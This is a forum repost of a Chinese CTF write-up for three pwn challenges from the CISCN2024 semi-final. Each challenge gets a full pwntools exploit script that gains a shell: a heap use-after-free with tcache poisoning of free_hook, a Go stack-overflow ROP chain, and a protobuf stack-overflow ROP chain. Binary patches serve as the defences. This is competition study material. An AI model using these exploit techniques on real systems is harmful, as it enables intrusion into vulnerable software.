ToB企服应用市场:ToB评测及商务社交产业平台

标题: [CISCN2024]华中赛区半决赛 PWN部门题解 [打印本页]
作者: 不到断气不罢休    时间: 2024-6-25 13:23
标题: [CISCN2024]华中赛区半决赛 PWN部门题解
[CISCN2024]华中半决赛 PWN部门题解

这次比赛中我攻击了2道，防御了3道
note

一道2.31堆题，保护全开，存在UAF漏洞
攻击

先填满tcache bin然后利用unsorted bin泄漏libc地址，再UAF修改tcache的fd指针为free_hook，再将system函数的地址写入free_hook，末了触发free函数getshell即可
exp
  1. from pwn import *
  3. def debug(c = 0):
  4.     if(c):
  5.         gdb.attach(p, c)
  6.     else:
  7.         gdb.attach(p)
  8. def get_addr():
  9.     return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
  11. def get_sb():
  12.     return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
  14. #-----------------------------------------------------------------------------------------
  15. s = lambda data : p.send(data)
  16. sa  = lambda text,data  :p.sendafter(text, data)
  17. sl  = lambda data   :p.sendline(data)
  18. sla = lambda text,data  :p.sendlineafter(text, data)
  19. r   = lambda num=4096   :p.recv(num)
  20. rl  = lambda text   :p.recvuntil(text)
  21. pr = lambda num=4096 :print(p.recv(num))
  22. inter   = lambda        :p.interactive()
  23. l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
  24. l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
  25. uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
  26. uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
  27. int16   = lambda data   :int(data,16)
  28. lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
  29. #-----------------------------------------------------------------------------------------
  31. context(os='linux', arch='amd64', log_level='debug', terminal = ['tmux','splitw','-h'])
  32. #p = remote('8.147.133.173', 19426)
  33. p = process("./pwn")
  34. #elf = ELF('./pwn')
  35. libc=ELF("./libc.so.6")
  38. def add(size,c):
  39.         rl("5. exit\n")
  40.         sl(str(1))
  41.         rl("The size of your content: \n")
  42.         sl(str(size))
  43.         rl("content: \n")
  44.         s(c)
  46. def edit(idx,size,c):
  47.         rl("5. exit\n")
  48.         sl(str(2))
  49.         rl("index: ")
  50.         sl(str(idx))
  51.         rl("The size of your content: \n")
  52.         sl(str(size))
  53.         rl("Content: \n")
  54.         s(c)
  56. def free(idx):
  57.         rl("5. exit\n")
  58.         sl(str(3))
  59.         rl("index: ")
  60.         sl(str(idx))
  62. def show(idx):
  63.         rl("5. exit\n")
  64.         sl(str(4))
  65.         rl("index: ")
  66.         sl(str(idx))
  69. for i in range(10):
  70.         add(0x90,b'/bin/sh\x00')
  72. for i in range(7):
  73.         free(i)
  74. free(7)
  75. #debug('b *$rebase(0x15D0)')
  76. show(7)
  77. #libc_base=u64(rl(b'\x0a')[-7:-1].ljust(8, b'\x00'))-libc.sym['__malloc_hook']-96-0x10
  78. libc_base = get_addr()-libc.sym['__malloc_hook']-96-0x10
  79. lg("libcbase",libc_base)
  80. free_hook=libc_base+libc.sym['__free_hook']
  81. system,bin=get_sb()
  83. edit(6,0x90,p64(free_hook))
  84. #debug('b *$rebase(0x1370)')
  85. add(0x90,b'a')
  86. add(0x90,p64(system))
  88. free(9)
  89. inter()
复制代码
防御

这里我将删除功能里的call free直接nop掉，防御乐成
go_note

一道go的菜单题，一开始还以为是go heap想直接放弃的（看到go就想吐
但之后仔细看一下发现就是栈溢出，漏洞点在edit功能
  1.   str = content.str;
  2.   for ( j = 0LL; j < content.len; ++j )
  3.   {
  4.     *(_BYTE *)v8 = *str;
  5.     v8 = (__int128 *)((char *)v8 + 1);
  6.     ++str;
  7.   }
复制代码
攻击

调试看一下溢出偏移，然后ret2syscall就行
这里要提一嘴，找gadget有点麻烦，要用--depth参数增加搜索深度，然后选择一些不影响参数寄存器的gadget来用
  1. ROPgadget --binary ./note --only "pop|ret|add|mov|xor" --depth 30 |grep "pop rsi"
复制代码
exp
  1. from pwn import *
  2. p = process('./note')
  4. rax=0x000000000040fbdd  #pop rax; pop rbp; ret;
  5. rdx=0x000000000047a8fa  #pop rdx ; ret
  6. rdi=0x0000000000462498  #pop rdi ; add eax, 0xc1894800 ; mov rax, rdx ; add rsp, 0xf8 ; pop rbp ; ret
  7. rsi=0x0000000000462552  #pop rsi; add eax, 0xc1894800d; xor eax, eax; add rsp, 0xf8; pop rbp; ret;
  8. syscall=0x000000000045e0a9
  9. bss=0x526680+0x1000
  10. p.recvuntil("choice > ")
  11. p.sendline(str(1))
  12. p.recvuntil("note content: ")
  13. p.sendline(b'a')
  15. payload=b'a'*(0x40)+p64(rdi)+p64(0)+b'a'*0xf8+p64(bss)+p64(rsi)+p64(bss)+b'a'*0xf8+p64(bss)+p64(rdx)+p64(0x100)+p64(syscall)
  16. payload+=p64(rdi)+p64(bss)+b'a'*0xf8+p64(bss)+p64(rsi)+p64(0)+b'a'*0xf8+p64(bss)+p64(rdx)+p64(0)+p64(rax)+p64(0x3b)+p64(syscall)*2
  18. p.recvuntil("choice > ")
  19. p.sendline(str(3))
  20. p.recvuntil("Please input note id:")
  21. p.sendline(str(1))
  22. p.recvuntil("Please input new content:")
  24. p.sendline(payload)
  25. p.send(b'/bin/sh\x00')
  27. p.interactive()
复制代码
防御

这里我是直接把*(_BYTE *)v8 = *str;这条语句nop掉了，对应000000000047F3DF                 mov     [r12], r13b这条指令
protoverflow

一道简单的protobuf栈溢出题，比赛的时候因为工具出了点问题导致没能打出来，但防御乐成了
赛后自己再重新做了一遍，懒得patch libc，就直接用本机的libc打了（
攻击

漏洞就在memcpy那里
exp
  1. from pwn import *
  3. def debug(c = 0):
  4.     if(c):
  5.         gdb.attach(p, c)
  6.     else:
  7.         gdb.attach(p)
  8. def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
  9. #-----------------------------------------------------------------------------------------
  10. s = lambda data : p.send(data)
  11. sa  = lambda text,data  :p.sendafter(text, data)
  12. sl  = lambda data   :p.sendline(data)
  13. sla = lambda text,data  :p.sendlineafter(text, data)
  14. r   = lambda num=4096   :p.recv(num)
  15. rl  = lambda text   :p.recvuntil(text)
  16. pr = lambda num=4096 :print(p.recv(num))
  17. inter   = lambda        :p.interactive()
  18. l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
  19. l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
  20. uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
  21. uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
  22. int16   = lambda data   :int(data,16)
  23. lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
  24. #-----------------------------------------------------------------------------------------
  26. import message_pb2
  27. context(os='linux', arch='amd64', log_level='debug', terminal = ['tmux','splitw','-h'])
  29. elf_patch = './pwn'
  30. p = process([elf_patch], env= {"LD_LIBRARY_PATH":"./"})
  31. elf = ELF(elf_patch)
  32. libc = ELF(p.libc.path)
  34. # debug('b *$rebase(0x332f)')
  36. rl(b'0x')
  37. libc_base = int(r(12), 16) - libc.sym['puts']
  41. rdi = libc_base + 0x000000000002a3e5
  42. ret = rdi + 1
  45. system, binsh = get_sb()
  47. pl = b'a'*0x218
  48. pl += p64(ret) + p64(rdi) + p64(binsh) + p64(system)
  50. msg = message_pb2.protoMessage()
  51. msg.name="1"
  52. msg.phoneNumber="2"
  53. msg.buffer = pl
  54. msg.size = len(pl)
  55. serialized_msg = msg.SerializeToString()
  57. s(serialized_msg)
  59. lg('libc_base', libc_base)
  61. inter()
复制代码
防御

将memcpy的size参数改成0x200即可，因为设置该参数的汇编指令mov     edx, [rbp-0Ch]只有三个字节的长度，但mov edx,0x200有五个字节，以是不能在原指令上直接修改，这里考虑跳转到eh_frame段（在eh_frame段里随便找个看着顺眼的地址）
如果用CE写过汇编脚本，那下面这个应该更好理解
  1. 0x0331B:
  2.         jmp eh_frame
  3.         nop ;nop来补齐六个字节
  5. eh_frame:
  6.         mov edx,0x200 ;设置size参数为0x200
  7.         mov rcx, [rbp-8] ;还原被覆盖的指令
  8.         jmp 0x3322 ;跳转回去
复制代码
免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。



欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4